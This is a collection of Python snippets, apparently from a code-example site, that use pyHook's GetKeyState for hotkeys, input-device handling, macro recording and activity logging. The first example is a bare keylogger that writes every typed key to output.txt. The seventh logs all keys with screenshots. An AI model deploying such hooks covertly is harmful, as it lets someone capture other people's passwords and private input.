Ejemplo n.º 1
0
        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                os._exit(1)
            if event.Ascii != 0:
                if os.path.isfile('output.txt'):
                    f = open('output.txt', 'r+')
                    buffer = f.read()
                    f.close()
                else:
                    buffer = ''
                f = open('output.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 8:
                    keylogs = ' \'BACKSPACE\' '
                elif event.Ascii == 13:
                    keylogs = '\n'
                elif event.Ascii == 27:
                    keylogs =' \'ESCAPE\' '

                if pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_CONTROL')):
                    keylogs = ' \'CTRL + ' + keylogs.upper() + '\' '

                if pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_LSHIFT')) or \
                        pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_RSHIFT')):
                    keylogs = keylogs.upper()

                #return False

                buffer += keylogs
                f.write(buffer)
                f.close()
Ejemplo n.º 2
0
    def OnKeyboardEvent(self, event):
        #print("test")
        ctrl_pressed = pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_SHIFT'))
        if ctrl_pressed and pyHook.HookConstants.IDToName(event.KeyID) == 'P':
            # Try start clicker
            if self.clickerRestart:
                print("Shift+P pressed. Resuming")
                self.restart()
                self.process.start()
                self.clickerRestart = False
                self.clickerStatus = True
            elif not self.clickerStatus:
                print("Shift+P pressed. Resuming")
                self.process.start()
                self.clickerStatus = True

        if pyHook.HookConstants.IDToName(event.KeyID) == 'Return':
            if self.clickerStatus:
                print('Return pressed. Pausing')
                self.process.terminate()
                self.clickerStatus = False
                self.clickerRestart = True

        # return True to pass the event to other handlers
        return True
Ejemplo n.º 3
0
    def resetKeyAndModState(self):
        for i in range(256):
            self._keyboard_state[i] = 0

        ioHubKeyboardDevice._modifier_value = 0
        for stateKeyID in [win32_vk.VK_SCROLL,win32_vk.VK_NUM_LOCK,win32_vk.VK_CAPITAL]:
            state = pyHook.GetKeyState(stateKeyID)
            if state:
                self._keyboard_state[stateKeyID]=state
                modKeyName = Keyboard._win32_modifier_mapping.get(stateKeyID, None)
                mod_value = KeyboardConstants._modifierCodes.getID(modKeyName)
                ioHubKeyboardDevice._modifier_value += mod_value
Ejemplo n.º 4
0
    def _nativeEventCallback(self, event):
        if self.isReportingEvents():
            notifiedTime = getTime()

            report_system_wide_events = self.getConfiguration().get(
                'report_system_wide_events', True)
            if report_system_wide_events is False:
                pyglet_window_hnds = self._iohub_server._pyglet_window_hnds
                if len(pyglet_window_hnds
                       ) > 0 and event.Window not in pyglet_window_hnds:
                    return True

            event.Type = EventConstants.KEYBOARD_RELEASE
            if event.Message in [
                    pyHook.HookConstants.WM_KEYDOWN,
                    pyHook.HookConstants.WM_SYSKEYDOWN
            ]:
                event.Type = EventConstants.KEYBOARD_PRESS

            self._last_callback_time = notifiedTime

            event.RepeatCount = 0
            key_already_pressed = self._key_states.get(event.KeyID, None)
            if key_already_pressed and event.Type == EventConstants.KEYBOARD_PRESS:
                event.RepeatCount = key_already_pressed[1] + 1
                if self._report_auto_repeats is False and event.RepeatCount > 0:
                    return True

            event.Modifiers = 0
            event.scroll_state = pyHook.GetKeyState(win32_vk.VK_SCROLL)
            event.num_state = pyHook.GetKeyState(win32_vk.VK_NUM_LOCK)
            event.cap_state = pyHook.GetKeyState(win32_vk.VK_CAPITAL)

            if self.getConfiguration().get('log_events_for_testing', False):
                self._addEventToTestLog(event)

            self._addNativeEventToBuffer((notifiedTime, event))
        # pyHook require the callback to return True to inform the windows
        # low level hook functionality to pass the event on.
        return True
Ejemplo n.º 5
0
def OnMouseEventLD(event):  #when the left button of the mouse is pressed.
    CTRL = ''
    SHIFT = ''
    #check if Shift key is down.
    if pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LSHIFT')) or pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_RSHIFT')):
        SHIFT = 'Shift-'
    #check if Control key is down.
    if pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LCONTROL')) or pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_RCONTROL')):
        CTRL = 'Ctr-'
    #write 2 screenshots to disk.
    if saveSS:
        global counter
        counter -= 1
        imgname = '%.6d.bmp' % (
            counter
        )  #the log for this image was logged while mouse was moving.
        bmp.SaveBitmapFile(
            memdc, save_path + 'imgs/' +
            imgname)  #save an image before the mouse button is pressed.
        counter += 1

        memdc.BitBlt((0, 0), (WIDTH, HEIGHT), srcdc, (0, 0), win32con.SRCCOPY)
        imgname = '%.6d.bmp' % (counter)
        bmp.SaveBitmapFile(
            memdc, save_path + 'imgs/' +
            imgname)  #save an image when the mouse button is being pressed.
        counter += 1
    else:
        imgname = ''
    #log this activity
    logger.info(
        str(event.Time) + ',' + imgname + ',' + str(event.Position[0]) + ',' +
        str(event.Position[1]) + ',' + 'press left' + ',' + CTRL + SHIFT)
    global pressL
    pressL = True
    return True
Ejemplo n.º 6
0
 def on_keyboard_event(self, event):
     '''
     This method is used in Windows only.
     It will get keyboard events and find
     the ones matching the global shortcut.
     '''
     if event.Ascii == self.hotkey:
         for vk in self.virtual_keys:
             if not pyHook.GetKeyState(pyHook.HookConstants.VKeyToID(vk)):
                 break
         else:
             self.activate()
             return False
     # Return True to pass the event to other handlers.
     return True
Ejemplo n.º 7
0
def OnKeyboardEvent(event):  #Log a keyboard typing action

    f_, h_, mospos = win32gui.GetCursorInfo()
    global counter
    global memdc
    CTRL = ''
    SHIFT = ''
    #check if Shift key is down.
    if pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LSHIFT')) or pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_RSHIFT')):
        SHIFT = 'Shift-'
    #check if Control key is down.
    if pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LCONTROL')) or pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_RCONTROL')):
        CTRL = 'Ctr-'
    #if Shift+ESC are pressed together, end the logging session
    if (pyHook.GetKeyState(HookConstants.VKeyToID('VK_LSHIFT'))
            or pyHook.GetKeyState(HookConstants.VKeyToID('VK_RSHIFT'))
        ) and event.KeyID == 27:  #esc(key#27)
        counter += 1
        imgname = '%.6d.bmp' % (counter)
        bmp.SaveBitmapFile(
            memdc, save_path + 'imgs/' + imgname
        )  #save the last image before exit (screenshot when after everything is done)
        win32gui.ShowWindow(Minimize, win32con.SW_MAXIMIZE)
        win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0)
    #looping signal (Shift+Control+L)
    elif pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LSHIFT')) and pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_LCONTROL')) and event.Key == 'L':
        if saveSS:
            imgname = '%.6d.bmp' % (counter)
            counter += 1
        else:
            imgname = ''
        logger.info(
            str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
            str(mospos[1]) + ',' + 'no press' + ',' + 'Ctr-Shift-l')
    #looping signal (Shift+Control+pause/break)
    elif pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LSHIFT')) and pyHook.GetKeyState(
                HookConstants.VKeyToID(
                    'VK_LCONTROL')) and event.Key == 'Cancel':
        if saveSS:
            imgname = '%.6d.bmp' % (counter)
            counter += 1
        else:
            imgname = ''
        logger.info(
            str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
            str(mospos[1]) + ',' + 'no press' + ',' + 'Ctr-Shift-Pause')
    #standby signal (Shift+Control+w or Shift+Control+PrtScr)
    elif pyHook.GetKeyState(
            HookConstants.VKeyToID('VK_LSHIFT')) and pyHook.GetKeyState(
                HookConstants.VKeyToID('VK_LCONTROL')) and (
                    event.Key == 'W' or event.Key == 'Snapshot'):
        if saveSS:

            memdc.BitBlt((0, 0), (WIDTH, HEIGHT), srcdc, (0, 0),
                         win32con.SRCCOPY)  #load the screenshot into memory
            imgname = '%.6d.bmp' % (counter)
            bmp.SaveBitmapFile(memdc, save_path + 'imgs/' + imgname)
            counter += 1
        else:
            imgname = ''
        logger.info(
            str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
            str(mospos[1]) + ',' + 'no press' + ',' + 'Ctr-Shift-w')

    else:  #while pressing other keys (a, b, ... etc )
        if pressL:
            if saveSS:
                imgname = '%.6d.bmp' % (counter)
                counter += 1
            else:
                imgname = ''
            logger.info(
                str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
                str(mospos[1]) + ',' + 'press left' + ',' + CTRL + SHIFT +
                event.Key)

        elif pressR:
            if saveSS:
                imgname = '%.6d.bmp' % (counter)
                counter += 1
            else:
                imgname = ''
            logger.info(
                str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
                str(mospos[1]) + ',' + 'press right' + ',' + CTRL + SHIFT +
                event.Key)

        else:
            if saveSS:
                imgname = '%.6d.bmp' % (counter)
                counter += 1
            else:
                imgname = ''
            logger.info(
                str(event.Time) + ',' + imgname + ',' + str(mospos[0]) + ',' +
                str(mospos[1]) + ',' + 'no press' + ',' + CTRL + SHIFT +
                event.Key)

    return True
Ejemplo n.º 8
0
def on_keyboard_event(event):
    # Clean up when escape is pressed
    if event.Key == 'Escape':
        # Load existing bot from given file
        with open(bot_file_path) as bot_file:
            bot = json.load(bot_file)

            # Merge newly created event_sequence with existing one
            bot['events'] += event_sequence

        # Open bot_file in write mode
        with open(bot_file_path, 'w') as bot_file:
            # Replace current bot in bot_file with new bot
            json.dump(bot, bot_file, indent=2)

        # Exit script
        exit(0)

    # If ctrl pressed
    if pyHook.GetKeyState(HookConstants.VKeyToID('VK_CONTROL')):
        # If prev was ctrl as well
        if event_sequence and event_sequence[-1]['type'] == 'keyboard' and \
                event_sequence[-1]['key'] == 'ctrlleft':
            # If not this key is ctrl
            if not (event.Key == 'Lcontrol' or event.Key == 'Rcontrol'):
                # Append to prev entry's nextKeys list
                event_sequence[-1]['nextKeys'].append(event.Key.lower())
        else:
            # Store this event with key as ctrl and nextKey as this key
            event_sequence.append({
                'type': 'keyboard',
                'messageName': event.MessageName,
                'time': event.Time,
                'window': event.Window,
                'windowName': event.WindowName,
                'ascii': event.Ascii,
                'key': 'ctrlleft',
                'nextKeys': []
            })
    # Elif shift pressed
    elif pyHook.GetKeyState(HookConstants.VKeyToID('VK_SHIFT')):
        # If prev was shift as well
        if event_sequence and event_sequence[-1]['type'] == 'keyboard' and \
                event_sequence[-1]['key'] == 'shiftleft':
            # If not this key is shift
            if not (event.Key == 'Lshift' or event.Key == 'Rshift'):
                # Append to prev entry's nextKeys list
                event_sequence[-1]['nextKeys'].append(event.Key.lower())
        else:
            # Store this event with key as shift and nextKey as this key
            event_sequence.append({
                'type': 'keyboard',
                'messageName': event.MessageName,
                'time': event.Time,
                'window': event.Window,
                'windowName': event.WindowName,
                'ascii': event.Ascii,
                'key': 'shiftleft',
                'nextKeys': []
            })
    # For non ctrl/shift long-press situations
    else:
        # Handle special keys
        event_sequence.append(handle_special_keys(event))

    # Return True to pass the event to other handlers
    return True